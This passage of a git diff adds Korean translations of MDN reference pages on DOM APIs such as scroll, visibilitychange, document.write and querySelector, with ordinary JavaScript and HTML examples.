+    log.textContent = log.textContent + `DOMContentLoaded\n`;
+});
+
+
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '160px') }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "indices.html#event-readystatechange", "readystatechange")}}{{Spec2("HTML WHATWG")}}
+ +

Browser compatibility

+ + + +

{{Compat("api.Document.readystatechange_event")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document/referrer/index.html b/files/ko/web/api/document/referrer/index.html new file mode 100644 index 0000000000..547eaf2993 --- /dev/null +++ b/files/ko/web/api/document/referrer/index.html @@ -0,0 +1,23 @@ +--- +title: Document.referrer +slug: Web/API/Document/referrer +translation_of: Web/API/Document/referrer +--- +
{{APIRef("DOM")}}
+ +
링크를 통해 현재 페이지로 이동 시킨, 전 페이지의 URI 정보를 반환.
+ +

Syntax

+ +
string = document.referrer;
+
+ +

Notes

+ +

페이지로 바로 접근하였을 경우 이 값은 빈 문자열을 반환함.(링크를 통해서 온것이 아닌, 예를 들면, 북마크를 통해서 이동했을 경우). 문자열만을 반환하기 때문에,  참조 페이지(referring page)에 대한 DOM  액세스가 제공되지 않음. 

+ +

Specification

+ + diff --git a/files/ko/web/api/document/scroll_event/index.html b/files/ko/web/api/document/scroll_event/index.html new file mode 100644 index 0000000000..6552fbf6f2 --- /dev/null +++ b/files/ko/web/api/document/scroll_event/index.html @@ -0,0 +1,141 @@ +--- +title: scroll +slug: Web/API/Document/scroll_event +tags: + - DOM + - Event + - Event Handler + - Reference + - 레퍼런스 + - 이벤트 + - 이벤트핸들링 +translation_of: Web/API/Document/scroll_event +--- +

document view 나 element가 스크롤 될 때, scroll  이벤트가 발생합니다.

+ +

개요

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
인터페이스{{domxref("UIEvent")}}
버블element에는 없지만, document에서 실행될 때 버블링이 발생합니다.
취소가능여부불가
타겟DefaultView, {{domxref("Document")}}, {{domxref("Element")}}
기본 액션없음
+ +

속성

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
속성타입설명
target {{readonlyInline}}{{domxref("EventTarget")}}이벤트 대상 (DOM 트리의 최상위 타겟)
type {{readonlyInline}}{{domxref("DOMString")}}이벤트의 타입
bubbles {{readonlyInline}}{{domxref("Boolean")}}이벤트가 버블이 되는지
cancelable {{readonlyInline}}{{domxref("Boolean")}}이벤트 취소가 가능한지
view {{readonlyInline}}{{domxref("WindowProxy")}}{{domxref("Document.defaultView")}} (document의 window)
detail {{readonlyInline}}long (float)0.
+ +

예제

+ +

스크롤 이벤트의 조절

+ +

scroll 이벤트가 빠른 속도로 실행될 수 있기 때문에, 이벤트 핸들러는 DOM 수정과 같이 느린 작업을 실행하지 말아야 합니다. 대신, 다음을 사용하여 이벤트를 제한하는 것을 권장합니다.
+ {{domxref("Window.requestAnimationFrame()", "requestAnimationFrame()")}}, {{domxref("WindowOrWorkerGlobalScope.setTimeout()", "setTimeout()")}}, 혹은, {{domxref("CustomEvent")}}

+ +

그러나 입력 이벤트와 애니메이션 프레임은 거의 동일한 속도로 실행되므로 아래 최적화는 종종 불필요합니다. 다음은 requestAnimationFrame에 대한 scroll이벤트를 최적화하는 예제입니다.

+ +
// 참조: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+let last_known_scroll_position = 0;
+let ticking = false;
+
+function doSomething(scroll_pos) {
+  // scroll 위치에 대한 작업을 하세요
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+
+    ticking = true;
+  }
+});
+ +

추가 예제

+ +

더 보려면, {{Event("resize")}} 이벤트 페이지에 비슷한 예제가 있습니다.

+ +

사양

+ + + +

브라우저 호환성

+ +

iOS UIWebView

+ +

iOS UIWebViews에서, 스크롤 중에는 scroll 발생하지 않습니다. 스크롤이 끝났을 때, 발생됩니다. Bootstrap issue #16202를 참고하세요. 사파리와 WKWebViews에서는 이 문제가 발생하지 않습니다.

+ +

같이보기

+ + diff --git a/files/ko/web/api/document/stylesheetsets/index.html b/files/ko/web/api/document/stylesheetsets/index.html new file mode 100644 index 0000000000..b69b728e89 --- /dev/null +++ b/files/ko/web/api/document/stylesheetsets/index.html @@ -0,0 +1,59 @@ +--- +title: Document.styleSheetSets +slug: Web/API/Document/styleSheetSets +tags: + - API + - CSSOM + - DOM + - Property + - Reference + - Stylesheets +translation_of: Web/API/Document/styleSheetSets +--- +
{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}{{obsolete_header}}
+ +

styleSheetSets의 읽기 전용 속성은 현재 사용 가능한 모든 스타일 시트 세트의 live 리스트를 반환합니다.

+ +

문법

+ +
var sets = document.styleSheetSets;
+
+ +

 반환시, sets는 사용할 수 있는 스타일 시트 세트의 리스트.

+ +

예시

+ +

ID가 "sheetList"인 {{HTMLElement("ul")}} (list) 요소가 주어지면, 사용 가능한 모든 스타일 시트 세트의 이름으로 아래와 같은 코드로 채울 수 있습니다.

+ +
let list = document.getElementById('sheetList');
+let sheets = document.styleSheetSets;
+
+list.innerHTML = '';
+
+for (let i = 0; i < sheets.length; i++) {
+  let item = document.createElement('li');
+
+  item.innerHTML = sheets[i];
+  list.appendChild(item);
+}
+ +

Notes

+ +

사용 가능한 스타일 시트 세트 리스트는 문서에 사용 가능한 모든 스타일 시트를 열거하여 구성되고, {{domxref("document.styleSheets")}} 속성에 나열된 순서대로, 리스트에 제목을 가진 각각의 스타일 시트 title을 추가합니다. 중복 항목이 리스트에서 삭제됨. (대소문자 구분 비교 사용).

+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.styleSheetSets")}}

+ +

더보기

+ + diff --git a/files/ko/web/api/document/url/index.html b/files/ko/web/api/document/url/index.html new file mode 100644 index 0000000000..527d754ddf --- /dev/null +++ b/files/ko/web/api/document/url/index.html @@ -0,0 +1,69 @@ +--- +title: Document.URL +slug: Web/API/Document/URL +tags: + - API + - Document + - HTML DOM + - Property + - Reference +translation_of: Web/API/Document/URL +--- +
{{APIRef("DOM")}}
+ +

{{domxref("Document")}} 인터페이스의 URL 읽기 전용 속성은 문서의 주소를 문자열로 반환합니다.

+ +

예제

+ +

JavaScript

+ +
document.getElementById("url").textContent = document.URL;
+ +

HTML

+ +
<p id="urlText">
+  URL:<br/>
+  <span id="url">URL이 여기 보입니다</span>
+</p>
+ +

결과

+ +

{{EmbedLiveSample("예제", "100%", 100)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-document-url", "Document.URL")}}{{Spec2("DOM WHATWG")}}Defines that the property is a {{domxref("USVString")}} instead of a {{domxref("DOMString")}}.
{{SpecName("DOM1", "level-one-html.html#attribute-URL", "Document.URL")}}{{Spec2("DOM1")}}Initial definition
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.Document.URL")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitychange_event/index.html b/files/ko/web/api/document/visibilitychange_event/index.html new file mode 100644 index 0000000000..d15b1d3d38 --- /dev/null +++ b/files/ko/web/api/document/visibilitychange_event/index.html @@ -0,0 +1,72 @@ +--- +title: visibilitychange +slug: Web/API/Document/visibilitychange_event +tags: + - API + - Event + - Reference + - Web +translation_of: Web/API/Document/visibilitychange_event +--- +
{{APIRef}}
+ +

visibilitychange 이벤트는 브라우저 탭의 컨텐츠가 visible 또는 hidden 상태로 변화할 때 발생된다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableNo
Interface{{domxref("event")}}
Event handler property{{domxref("Document.onvisibilitychange", "onvisibilitychange")}}
+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log( document.visibilityState );
+});
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#sec-visibilitychange-event','visibilitychange')}}{{Spec2('Page Visibility API')}} 
+ +

브라우저 호환성

+ +

{{Compat("api.Document.visibilitychange")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document/visibilitystate/index.html b/files/ko/web/api/document/visibilitystate/index.html new file mode 100644 index 0000000000..5bbe2eb242 --- /dev/null +++ b/files/ko/web/api/document/visibilitystate/index.html @@ -0,0 +1,56 @@ +--- +title: Document.visibilityState +slug: Web/API/Document/visibilityState +tags: + - DOM + - Document + - Property + - Read-only + - Reference + - Web +translation_of: Web/API/Document/visibilityState +--- +

{{ ApiRef("DOM") }}

+ +

Document.visibilityState 읽기 전용 property로, 이 element가 현재 표시된 컨텍스트를 나타내는 {{domxref('document')}}의 가시성을 반환합니다. document가 background 또는 보이지 않는 탭(다른 탭)에 있는지, 또는 pre-rendering을 위해 로드 된 것인지를 아는 것은 유용합니다. 가능한 값은 다음과 같습니다.

+ + + +

이 property의 값이 변경되면 {{event ( 'visibilitychange')}} 이벤트가 {{domxref ( "Document")}}로 전송됩니다.

+ +

일반적으로 document pre-rendering 시에 일부 assets의 다운로드를 막을 수 있습니다(역:초기 로딩 속도 향상). document가 백그라운드에 있거나 최소화 된 상태에서 일부 작업을 중지 할 수 있습니다(역:대표적으로 interval). 브라우저를 참고하십시오.

+ +

예제

+ +
document.addEventListener("visibilitychange", function() {
+  console.log(document.hidden);
+  // 숨김 여부가 변했을 때의 행동
+});
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Page Visibility API','#dom-document-visibilitystate', 'Document.visibilityState')}}{{Spec2('Page Visibility API')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.visibilityState")}}

diff --git a/files/ko/web/api/document/write/index.html b/files/ko/web/api/document/write/index.html new file mode 100644 index 0000000000..5320bb2861 --- /dev/null +++ b/files/ko/web/api/document/write/index.html @@ -0,0 +1,102 @@ +--- +title: Document.write() +slug: Web/API/Document/write +translation_of: Web/API/Document/write +--- +
{{ ApiRef("DOM") }}
+ +

{{domxref("document.open()")}}에 의해 열린 문서 스팀에 텍스트 스트링을 적는다.

+ +
주: as document.write writes to the document stream, calling document.write on a closed (loaded) document automatically calls document.open, which will clear the document.
+ +

구문

+ +
document.write(markup);
+
+ +

매개변수

+ +
+
markup
+
document 문성에 씌여질 텍스트를 포함하고 있는 스트링.
+
+ +

+ +
<html>
+
+<head>
+  <title>write example</title>
+
+  <script>
+    function newContent() {
+      alert("load new content");
+      document.open();
+      document.write("<h1>Out with the old - in with the new!</h1>");
+      document.close();
+    }
+  </script>
+</head>
+
+<body onload="newContent();">
+  <p>Some original document content.</p>
+</body>
+
+</html>
+
+ +

+ +

Writing to a document that has already loaded without calling {{domxref("document.open()")}} will automatically call document.open. Once you have finished writing, it is recommended to call {{domxref("document.close()")}} to tell the browser to finish loading the page. The text you write is parsed into the document's structure model. In the example above, the h1 element becomes a node in the document.

+ +

If the document.write() call is embedded within an inlined HTML <script> tag, then it will not call document.open(). For example:

+ +
<script>
+  document.write("<h1>Main title</h1>")
+</script>
+
+ +
Note: document.write and document.writeln do not work in XHTML documents (you'll get a "Operation is not supported" [NS_ERROR_DOM_NOT_SUPPORTED_ERR] error in the error console). This happens when opening a local file with the .xhtml file extension or for any document served with an application/xhtml+xml {{Glossary("MIME type")}}. More information is available in the W3C XHTML FAQ.
+ +
Note: document.write in deferred or asynchronous scripts will be ignored, and you'll get a message like "A call to document.write() from an asynchronously-loaded external script was ignored" in the error console.
+ +
Note: In Edge only, calling document.write more than once in an iframe causes the error SCRIPT70: Permission denied.
+ +
Note: Starting in 55, Chrome will not execute <script> elements injected via document.write() in case of an HTTP cache miss for users on a 2G connection.
+ +

사양

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dom-document-write", "document.write(...)")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("DOM2 HTML", "html.html#ID-75233634", "document.write(...)")}}{{Spec2("DOM2 HTML")}} 
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document.write")}}

+ +

See also

+ + diff --git a/files/ko/web/api/document_object_model/events/index.html b/files/ko/web/api/document_object_model/events/index.html new file mode 100644 index 0000000000..2974c9d435 --- /dev/null +++ b/files/ko/web/api/document_object_model/events/index.html @@ -0,0 +1,84 @@ +--- +title: Events and the DOM +slug: Web/API/Document_Object_Model/Events +translation_of: Web/API/Document_Object_Model/Events +--- +
{{DefaultAPISidebar("DOM")}}
+ +

소개

+ +

이 장에서는 DOM 이벤트 모델을 설명한다.  Event 인터페이스는 DOM의 노드에서 이벤트 등록 및  event listeners를 위한 인터페이스와 더불어 다양한 이벤트 인터페이스가 서로 어떻게 관련되는지 보여주는 몇 가지 더 긴 예와 함께 설명된다.

+ +

There is an excellent diagram that clearly explains the three phases of event flow through the DOM in the DOM Level 3 Events draft.

+ +

Also see Example 5: Event Propagation in the Examples chapter for a more detailed example of how events move through the DOM.

+ +

Event listener등록

+ +

DOM 요소에 대한 이벤트 핸들러를 등록하는 방법에는 3가지가 있다.

+ +

{{domxref("EventTarget.addEventListener")}}

+ +
// Assuming myButton is a button element
+myButton.addEventListener('click', greet, false)
+function greet(event){
+    // print and have a look at the event object
+    // always print arguments in case of overlooking any other arguments
+    console.log('greet:', arguments)
+    alert('hello world')
+}
+
+ +

이 방식은 근대의 웹페이지에서 사용해야하는 방법이다.

+ +
+

Note: Internet Explorer 6–8 didn't support this method, offering a similar {{domxref("EventTarget.attachEvent")}} API instead. For cross-browser compatibility, use one of the many JavaScript libraries available.

+
+ +

더 자세한 내용은{{domxref("EventTarget.addEventListener")}}를 참조하세요.

+ +

HTML 속성

+ +
<button onclick="alert('Hello world!')">
+
+ +

속성에서 JavaScript 코드는 이벤트 매개변수를 통해 이벤트 객체를 통과합니다. 반환 값은 HTML 사양에 설명된 특별한 방법으로 처리됩니다.

+ +
+

경고: 이 방법은 피해야 합니다! 그것은 마크업을 부풀리고, 읽기 어렵게 만듭니다. 내용/구조와 행동에 대한 우려는 잘 분리되어 있지 않아 버그를 찾기가 더 어려워집니다.

+
+ +

DOM 요소 특성

+ +
// Assuming myButton is a button element
+myButton.onclick = function(event){alert('Hello world')}
+
+ +

The function can be defined to take an event parameter. The return value is treated in a special way, described in the HTML specification.

+ +

The problem with this method is that only one handler can be set per element and per event.

+ +

Accessing Event interfaces

+ +

Event handlers may be attached to various objects (including DOM elements, document, the {{domxref("window")}} object, etc.). When an event occurs, an event object is created and passed sequentially to the event listeners.

+ +

The {{domxref("Event")}} interface is accessible from within the handler function, via the event object passed as the first argument. The following simple example shows how an event object is passed to the event handler function, and can be used from within one such function.

+ +
function print(evt) {
+  // the evt parameter is automatically assigned the event object
+  // take care of the differences between console.log & alert
+  console.log('print:', evt)
+  alert(evt)
+}
+// any function should have an appropriate name, that's what called semantic
+table_el.onclick = print
+
+ + + + diff --git a/files/ko/web/api/document_object_model/examples/index.html b/files/ko/web/api/document_object_model/examples/index.html new file mode 100644 index 0000000000..aacebc7d07 --- /dev/null +++ b/files/ko/web/api/document_object_model/examples/index.html @@ -0,0 +1,372 @@ +--- +title: Examples +slug: Web/API/Document_Object_Model/Examples +--- +

이 장에서는 DOM을 사용한 웹, XML 개발의 긴 예제를 제공합니다. 예제는 문서의 object를 조작하기 위해 가능한 JavaScript의 일반적인 API, 트릭, 패턴을 사용합니다. 

+ +

예제 1: 높이와 너비

+ +

아래의 예제는 다양한 면적의 이미지를 통해 height 와 width  속성을 사용하는 방법을 보여줍니다:

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>width/height example</title>
+<script>
+function init() {
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "<ul>";
+
+  for (var i = 0; i < arrImages.length; i++) {
+    strHtml += "<li>image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "<\/li>";
+  }
+
+  strHtml += "<\/ul>";
+
+  objOutput.innerHTML = strHtml;
+}
+</script>
+</head>
+<body onload="init();">
+
+<p>Image 1: no height, width, or style
+  <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
+</p>
+
+<p>Image 2: height="50", width="500", but no style
+  <img id="image2"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       height="50" width="500">
+</p>
+
+<p>Image 3: no height, width, but style="height: 50px; width: 500px;"
+  <img id="image3"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       style="height: 50px; width: 500px;">
+</p>
+
+<div id="output"> </div>
+</body>
+</html>
+
+ +

예제 2: 이미지 속성

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Modifying an image border</title>
+
+<script>
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+</script>
+</head>
+
+<body>
+<p>
+  <img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test">
+</p>
+
+<form name="FormName">
+  <input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" />
+  <input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" />
+</form>
+
+</body>
+</html>
+
+ +

예제 3: 스타일 조작

+ +

아래의 간단한 예제에서 HTML 단락 element( <p>)의 일부 기본 스타일 속성들은 DOM에서 검색하고 설정할 수 있는 element의 스타일 객체와, 그 객체의 CSS 스타일 속성을 사용해 접근합니다. 이 경우 개별 스타일을 직접 조작합니다. 다음 예제(예제 4)에서는 stylesheet와 해당 규칙을 사용해 전체 문서의 스타일을 변경할 수 있습니다. 

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Changing color and font-size example</title>
+
+<script>
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+</script>
+</head>
+<body>
+
+<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
+
+<form>
+  <p><input value="rec" type="button" onclick="changeText();" /></p>
+</form>
+
+</body>
+</html>
+
+ +

예제 4: Stylesheet 사용

+ +

document 객체의 styleSheets 속성은 그 문서에서 로드된 stylesheet 목록을 반환합니다. 이 예제에서 설명된대로 stylesheet, 스타일, CSSRule 객체를 사용해 이러한 stylesheet와 규칙에 개별적으로 접근할 수 있습니다. 이 예제는 모든 스타일 규칙 Selector를 콘솔에 출력합니다. 

+ +
var ss = document.styleSheets;
+
+for(var i = 0; i < ss.length; i++) {
+  for(var j = 0; j < ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}
+ +

아래와 같은 세가지 규칙이 정의된 하나의 stylesheet가 있는 문서의 경우: 

+ +
body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+
+ +

위 스크립트의 결과물은 아래와 같습니다:

+ +
BODY
+P
+#LUMPY
+
+ +

예제 5: Event 전파

+ +

This example demonstrates how events fire and are handled in the DOM in a very simple way. When the BODY of this HTML document loads, an event listener is registered with the top row of the TABLE. The event listener handles the event by executing the function stopEvent, which changes the value in the bottom cell of the table.

+ +

However, stopEvent also calls an event object method, {{domxref("event.stopPropagation")}}, which keeps the event from bubbling any further up into the DOM. Note that the table itself has an {{domxref("element.onclick","onclick")}} event handler that ought to display a message when the table is clicked. But the stopEvent method has stopped propagation, and so after the data in the table is updated, the event phase is effectively ended, and an alert box is displayed to confirm this.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<title>Event Propagation</title>
+
+<style>
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+</style>
+
+<script>
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+</script>
+</head>
+
+<body onload="load();">
+
+<table id="t-daddy" onclick="alert('hi');">
+  <tr id="tbl1">
+    <td id="c1">one</td>
+  </tr>
+  <tr>
+    <td id="c2">two</td>
+  </tr>
+</table>
+
+</body>
+</html>
+
+ +

Example 6: getComputedStyle

+ +

This example demonstrates how the {{domxref("window.getComputedStyle")}} method can be used to get the styles of an element that are not set using the style attribute or with JavaScript (e.g., elt.style.backgroundColor="rgb(173, 216, 230)"). These latter types of styles can be retrieved with the more direct {{domxref("element.style", "elt.style")}} property, whose properties are listed in the DOM CSS Properties List.

+ +

getComputedStyle() returns a ComputedCSSStyleDeclaration object, whose individual style properties can be referenced with this object's getPropertyValue() method, as the following example document shows.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+
+<title>getComputedStyle example</title>
+
+<script>
+function cStyles() {
+  var RefDiv = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+</script>
+
+<style>
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px;
+}
+</style>
+
+</head>
+
+<body>
+
+<div id="d1">&nbsp;</div>
+
+<form action="">
+  <p>
+    <button type="button" onclick="cStyles();">getComputedStyle</button>
+    height<input id="t1" type="text" value="1" />
+    max-width<input id="t2" type="text" value="2" />
+    bg-color<input id="t3" type="text" value="3" />
+  </p>
+</form>
+
+</body>
+</html>
+
+ +

Example 7: Displaying Event Object Properties

+ +

This example uses DOM methods to display all the properties of the {{domxref("window.onload")}} {{domxref("event")}} object and their values in a table. It also shows a useful technique of using a for..in loop to iterate over the properties of an object to get their values.

+ +

The properties of event objects differs greatly between browsers, the WHATWG DOM Standard lists the standard properties, however many browsers have extended these greatly.

+ +

Put the following code into a blank text file and load it into a variety of browsers, you'll be surprised at the different number and names of properties. You might also like to add some elements in the page and call this function from different event handlers.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf-8"/>
+<title>Show Event properties</title>
+
+<style>
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+</style>
+
+<script>
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i<len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+</script>
+</head>
+
+<body>
+<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
+</body>
+
+</html>
+
+ +

Example 8: Using the DOM Table Interface

+ +

The DOM HTMLTableElement interface provides some convenience methods for creating and manipulating tables. Two frequently used methods are {{domxref("HTMLTableElement.insertRow")}} and {{domxref("tableRow.insertCell")}}.

+ +

To add a row and some cells to an existing table:

+ +
<table id="table0">
+ <tr>
+  <td>Row 0 Cell 0</td>
+  <td>Row 0 Cell 1</td>
+ </tr>
+</table>
+
+<script>
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i = 0; i < 2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+</script>
+
+ +

Notes

+ + + + + + diff --git a/files/ko/web/api/document_object_model/index.html b/files/ko/web/api/document_object_model/index.html new file mode 100644 index 0000000000..fa5ff39eec --- /dev/null +++ b/files/ko/web/api/document_object_model/index.html @@ -0,0 +1,350 @@ +--- +title: 문서 객체 모델(DOM) +slug: Web/API/Document_Object_Model +tags: + - API + - DOM + - Document + - Document Object Model + - Guide + - Overview + - Reference +translation_of: Web/API/Document_Object_Model +--- +

{{DefaultAPISidebar("DOM")}}

+ +

문서 객체 모델(DOM)은 메모리에 웹 페이지 문서 구조를 표현함으로써 스크립트 및 프로그래밍 언어와 페이지를 연결합니다. 이때 스크립트는 주로 JavaScript를 의미하나 HTML, SVG, XML 객체를 문서로 모델링 하는 것은 JavaScript 언어의 일부가 아닙니다.

+ +

DOM은 문서를 논리 트리로 표현합니다. 트리의 각 브랜치는 노드에서 끝나며, 각 노드는 객체를 갖습니다. DOM 메서드를 사용하면 프로그래밍적으로 트리에 접근할 수 있습니다. 이를 통해 문서의 구조, 스타일, 콘텐츠를 변경할 수 있습니다.

+ +

노드는 이벤트 처리기도 포함할 수 있습니다. 이벤트가 발생한 순간, 해당 이벤트와 연결한 처리기가 발동합니다.

+ +
+

더 알아보려면: DOM 소개 문서를 방문해보세요.

+
+ +

DOM 인터페이스

+ +
+ +
+ + + +

HTML DOM

+ +

문서는 다양한 HTML 관련 기능들을 포함하는 HTML 명세에 의해 확장된 {{DOMxRef("Document")}} 을 사용해 설명된 HTML 을 포함합니다.

+ +

HTML 객체는 또한 {{DOMxRef("Window")}} 인터페이스, 이에 관련된 {{DOMxRef("window.style", "Style")}}(보통 CSS), 컨텍스트에 관련된 브라우저의 히스토리인 {{DOMxRef("window.history", "History")}} 를 사용해 페이지가 그려지는 탭이나 창과 같은 브라우저의 다양한 기능들에 접근할 수 있게 해줍니다. 마지막에는, 문서의 {{DOMxRef("Selection")}} 이 완료됩니다.

+ +

자세한 내용은 HTML DOM API 문서를 참고하세요.

+ +

SVG 인터페이스

+ +

SVG 요소 인터페이스

+ +
+ +
+ +

SVG 데이터 타입 인터페이스

+ +

다음은 SVG 프로퍼티와 어트리뷰트 정의에 쓰이는 데이터 타입을 위한 DOM API입니다.

+ +

정적 타입

+ +
+ +
+ +

움직이는(animated) 형

+ +
+ +
+ +

SMIL 관련 인터페이스

+ +
+ +
+ +

기타 SVG 인터페이스

+ +
+ +
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG")}}{{Spec2("DOM WHATWG")}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html new file mode 100644 index 0000000000..07d0d169e4 --- /dev/null +++ b/files/ko/web/api/document_object_model/locating_dom_elements_using_selectors/index.html @@ -0,0 +1,51 @@ +--- +title: 선택자로 DOM 요소 선택하기 +slug: Web/API/Document_Object_Model/Locating_DOM_elements_using_selectors +tags: + - Beginner + - DOM +translation_of: Web/API/Document_object_model/Locating_DOM_elements_using_selectors +--- +
{{ gecko_minversion_header("1.9.1") }}
+ +

선택자 API는 DOM에서 {{domxref("Element")}} 노드를 선택자를 통해 빠르고 쉽게 가져올 수 있는 메서드를 제공합니다. 이 방법은 JavaScript 코드에서 반복문을 통해 특성 요소를 탐색하던 이전 방법보다 훨씬 빠릅니다.

+ +

NodeSelector 인터페이스

+ +

본 명세는 {{domxref("Document")}}, {{domxref("DocumentFragment")}}, {{domxref("Element")}} 인터페이스를 구현하는 모든 객체에 메서드 두 개를 추가합니다.

+ +
+
querySelector
+
노드의 하위 트리에서 첫 번째로 일치하는 {{domxref("Element")}} 노드를 반환합니다. 결과가 없으면 null을 반환합니다.
+
querySelectorAll
+
노드의 하위 트리 안에서 일치하는 모든 Element를 포함한 {{domxref("NodeList")}}를 반환합니다. 결과가 없으면 빈 NodeList를 반환합니다.
+
+ +
참고: The NodeList returned by querySelectorAll() is not live, which means that changes in the DOM are not reflected in the collection. This is different from other DOM querying methods that return live node lists.
+ +

You may find examples and details by reading the documentation for the querySelector() and querySelectorAll() methods, as well as in the article Code snippets for querySelector.

+ +

선택자

+ +

The selector methods accept one or more comma-separated selectors to determine what element or elements should be returned. For example, to select all paragraph (p) elements in a document whose CSS class is either warning or note, you can do the following:

+ +
var special = document.querySelectorAll( "p.warning, p.note" );
+ +

You can also query by ID. For example:

+ +
var el = document.querySelector( "#main, #basic, #exclamation" );
+ +

After executing the above code, el contains the first element in the document whose ID is one of main, basic, or exclamation.

+ +

You may use any CSS selectors with the querySelector() and querySelectorAll() methods.

+ +

같이 보기

+ + diff --git a/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html new file mode 100644 index 0000000000..6bb71e8b44 --- /dev/null +++ b/files/ko/web/api/document_object_model/using_the_w3c_dom_level_1_core/index.html @@ -0,0 +1,95 @@ +--- +title: W3C DOM Level 1 Core 사용하기 +slug: Web/API/Document_Object_Model/Using_the_W3C_DOM_Level_1_Core +tags: + - DOM + - NeedsUpdate +translation_of: Web/API/Document_object_model/Using_the_W3C_DOM_Level_1_Core +--- +
{{DefaultAPISidebar("DOM")}}
+ +
+ +

